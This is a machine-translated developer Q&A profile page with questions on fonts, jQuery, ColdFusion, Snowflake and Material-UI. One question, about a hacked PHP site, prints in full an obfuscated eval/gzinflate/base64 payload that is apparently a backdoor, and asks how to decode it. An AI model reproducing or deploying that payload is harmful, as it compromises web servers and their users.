小编Jac*_*sky的帖子

Chrome上的HTTPS网页上的Google Web字体

我正在开发一个电子商务项目.默认情况下,站点的某些部分是HTTP.其他(例如结帐页面)默认为HTTPS.在HTTPS页面上,我在Chrome上的控制台上收到此消息:

[blocked] The page at https://store-ws3q9h.mybigcommerce.com/checkout.php?tk=c99fa39e007db6376dcddaac68695c22 ran insecure content from http://fonts.googleapis.com/css?family=PT+Sans. 
[blocked] The page at https://store-ws3q9h.mybigcommerce.com/checkout.php?tk=c99fa39e007db6376dcddaac68695c22 ran insecure content from http://fonts.googleapis.com/css?family=Open+Sans:400italic,400,300,700.
[blocked] The page at https://store-ws3q9h.mybigcommerce.com/checkout.php?tk=c99fa39e007db6376dcddaac68695c22 ran insecure content from http://fonts.googleapis.com/css?family=Patua+One.
Run Code Online (Sandbox Code Playgroud)

字体以这种方式链接在文档头上:

<link href='http://fonts.googleapis.com/css?family=PT+Sans' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400italic,400,300,700' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Patua+One' rel='stylesheet' type='text/css'>
Run Code Online (Sandbox Code Playgroud)

到目前为止我测试的其他浏览器看起来还不错.

https fonts

55
推荐指数
2
解决办法
4万
查看次数

使脚本等到iframe加载后再运行

我正在处理的网站在iframe上有一个Live Chat插件.如果没有可用的代理,我正在尝试更改图像.我的代码在控制台上运行,但网站上没有任何内容.

var LiveChatStatus = $("iframe").contents().find(".agentStatus").html();
if (LiveChatStatus =="Offline"){
    $('#liveChat').html('<img src="%%GLOBAL_ShopPath%%/product_images/theme_images/liveoffline.png">');
}
Run Code Online (Sandbox Code Playgroud)

我试过这个:

$('iframe').ready(function(){
    var LiveChatStatus = $("iframe").contents().find(".agentStatus").html();
    if (LiveChatStatus =="Offline"){
        $('#liveChat').html('<img src="%%GLOBAL_ShopPath%%/product_images/theme_images/liveoffline.png">');
    }
});
Run Code Online (Sandbox Code Playgroud)

还有这个:

$(document).ready(function(){
   var LiveChatStatus = $("iframe").contents().find(".agentStatus").html();
   if (LiveChatStatus =="Offline"){
       $('#liveChat').html('<img src="%%GLOBAL_ShopPath%%/product_images/theme_images/liveoffline.png">');
   }
});
Run Code Online (Sandbox Code Playgroud)

但都没有奏效

javascript iframe jquery

17
推荐指数
2
解决办法
4万
查看次数

Coldfusion:如何将字符串拆分为一组变量

我正在努力教自己ColdFusion.

我有一个以这种格式从数据库进来的字符串:

domain.com
<br/>
www.facebook.com/facebookpage
<br/>
http://instagram.com/instagrampage
Run Code Online (Sandbox Code Playgroud)

它全部来自#getRacer.txtDescription#.此文本的格式将始终相同.

我需要将它分成3个变量.我试过这个(源自adobe网站上的例子)

<h3>ListToArray Example</h3>
<cfset myList = ValueList(getRacer.txtDescription)>
<p>My list is a list with <cfoutput>#ListLen(myList)#</cfoutput> elements.
<cfset myArrayList = ListToArray(myList,'<br/>')>
<p>My array list is an array with 
<cfoutput>#ArrayLen(myArrayList)#</cfoutput> elements.
Run Code Online (Sandbox Code Playgroud)

我不知何故最终得到了数组中的11个项目.

谢谢

coldfusion cfml

15
推荐指数
1
解决办法
3万
查看次数

Snowflake NodeJS 驱动程序 SELECT .... WHERE id IN (??) 子句

假设我有一个数字 ID 数组

let arr = [123, 456]
Run Code Online (Sandbox Code Playgroud)

现在,我想获取具有这些 ID 的所有记录

try{
    connection.execute({
    binds: [arr],
    sqlText: `
        SELECT DISTINCT name, id
        FROM my_table
        WHERE id IN (?)
    `,
    complete: (err, stmt, rows) => {
        // receive results
    }
});
Run Code Online (Sandbox Code Playgroud)

对于“arr”数组中的第一个 id,我只得到 1 列。我想获得与“arr”数组中的 id 匹配的所有行的结果

node.js snowflake-cloud-data-platform

5
推荐指数
1
解决办法
831
查看次数

值得通过CFQueryParam进行四舍五入

我有一个自我提交表单,其数据在提交后在cfquery中使用.当用户提交小数而不是整数时,我遇到了问题.

这适用于轮胎尺寸

<select>
    ...
    <option value="19.0">R19</option>
    <option value="19.5">R19.5</option>
    ...
</select>
Run Code Online (Sandbox Code Playgroud)

然后,如果提交表单,结果将传递给cfquery以仅显示该大小的结果.

<cfif form.size gt 0 > 
    AND ts.decDiameter = <cfqueryparam cfsqltype="cf_sql_decimal" value="#form.size#" />
</cfif>
Run Code Online (Sandbox Code Playgroud)

这适用于整数,但是当我选择19.5时,它会将结果带回20.它正在四舍五入.与cfqueryparam有点奇怪.它将结果转换为数值,但它将其四舍五入到下一个整数.

coldfusion coldfusion-9

3
推荐指数
1
解决办法
213
查看次数

Material-UI中带有样式的伪选择器未呈现到页面

这真的很奇怪。我的元素,我需要2个伪选择添加到:::before::after::before正在呈现到页面,但::after不是。但是语法是一样的。

const styles = {
  Typography: {
    overflow: 'hidden',
    position: 'relative',
    lineHeight: '1.2em',
    height: '3.6em',
    textAlign: 'justify',
    marginRight: '-1em',
    paddingRight: '1em',
    '&:after': {
      content: 'test',
      position: 'absolute',
      right: 0,
      width: '1em',
      height: '1em',
      marginTop: '0.2em',
      backgroundColor: 'white'
    },
    '&:before': {
      content: "'...'",
      position: 'absolute',
      right: 0,
      bottom: 0,
    }
  }
}
Run Code Online (Sandbox Code Playgroud)

这是它应用于的元素:

<Typography component="p" className={classes.Typography}> 
    {incident.incident_description}
</Typography>
Run Code Online (Sandbox Code Playgroud)

reactjs material-ui jss

3
推荐指数
1
解决办法
1564
查看次数

如何评估此字符串

我正在维护一个非常古老且非常时髦的PHP站点.

昨晚该网站被黑了.我找到了这个文件,我不确定它是来自黑客还是前面提到的funkiness.有谁知道我怎么解码这个:

<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B");
?>
Run Code Online (Sandbox Code Playgroud)

谢谢,

插口

php

2
推荐指数
1
解决办法
48
查看次数

为什么CFML一直试图分配而不是输出我的变量?

我正在尝试转换数据库列名列表并在查询中检查它.例如,这个列表:

<cfset permissionsLevelList = 'blnGalleryAdd,blnGalleryUpdate,blnGalleryDelete,blnGalleryMaster'>
Run Code Online (Sandbox Code Playgroud)

这不是以任何方式通过UI传递的.

所以,然后我将它转换为数组并尝试在我的查询中循环它

<cfset permissionsLevelArray = listToArray(permissionsLevelList)>
AND (
    <cfloop array="#permissionsLevelArray#" index="i">
        ap.#permissionsLevelArray[i]# = 1 
        <cfif i neq arrayLen(permissionsLevelArray)>OR</cfif>
    </cfloop>
)
Run Code Online (Sandbox Code Playgroud)

但我得到的错误不能

cast [blnGalleryAdd] string to a number value
Run Code Online (Sandbox Code Playgroud)

因此,当我只想输出它时,编译器会尝试将其指定为变量.

有谁知道这方面的任何好的解决方法?

coldfusion lucee

2
推荐指数
1
解决办法
84
查看次数

jQuery Uncaught TypeError:无法读取未定义的属性"nodeType"

其中有4个都是一样的.我通过一个过程来描述它到这一行:

originalImg = $(element).find('.ProductImage a img').attr();
Run Code Online (Sandbox Code Playgroud)

我有点失去可能导致这种情况的原因.

$(function(){
    $('.SubCategoryList li').each(function(index, element) {
        $(element).append('<div class="ProductListWrapper"></div>')
        var subcategory_link = $(element).find('a').attr('href');
        $(element).find('.ProductListWrapper').load( subcategory_link + ' #CategoryContent ul.ProductList', productHovers);
    });
});
function productHovers(){
    $('.SubCategoryList .ProductList li').each(function(index, element){
        originalImg = $(element).find('.ProductImage a img').attr(); // This is the problem line. 
        $(element).mouseover(function(){
           var link = $(this).find(".ProductImage a").attr('href');
           $.get(link,function(data,status){
               var tinyImg = $(data).find('.ImageCarouselBox ul li:nth-child(1) img').attr('src');
               var imageSRC = tinyImg.replace('.60.60.jpg','.200.200.jpg');
               $(element).find('.ProductImage a img').attr('src',imageSRC);
           });
        });
        $(element).mouseleave(function(){
             $(element).find('.ProductImage a img').attr('src',originalImg);
        });
    });
Run Code Online (Sandbox Code Playgroud)

javascript jquery

1
推荐指数
1
解决办法
3万
查看次数

Coldfusion:如何从函数循环查询

我有一个多次调用的查询,具体取决于变量vchrStatus

<cffunction name="getGalleriesByStatus" output="no" returntype="query">
    <cfargument name="vchrStatus" type="string" required="yes">
    <cfquery 
        name="getGalleries"
        datasource="#Application.dsn#">
        /// Long complicated query in here
    </cfquery>
    <cfset var result="#getGalleries#">
    <!--- Return it --->
    <cfreturn result>
</cffunction>
Run Code Online (Sandbox Code Playgroud)

我用cfdump测试了这个函数,并输出了所需的结果.

现在我想在cfoutput中循环结果

<cfoutput query="getGalleriesByStatus('Pending')">
Run Code Online (Sandbox Code Playgroud)

但是我收到错误:属性查询的值(当前为getGalleriesByStatus('Pending'))无效.

coldfusion coldfusion-9

1
推荐指数
1
解决办法
356
查看次数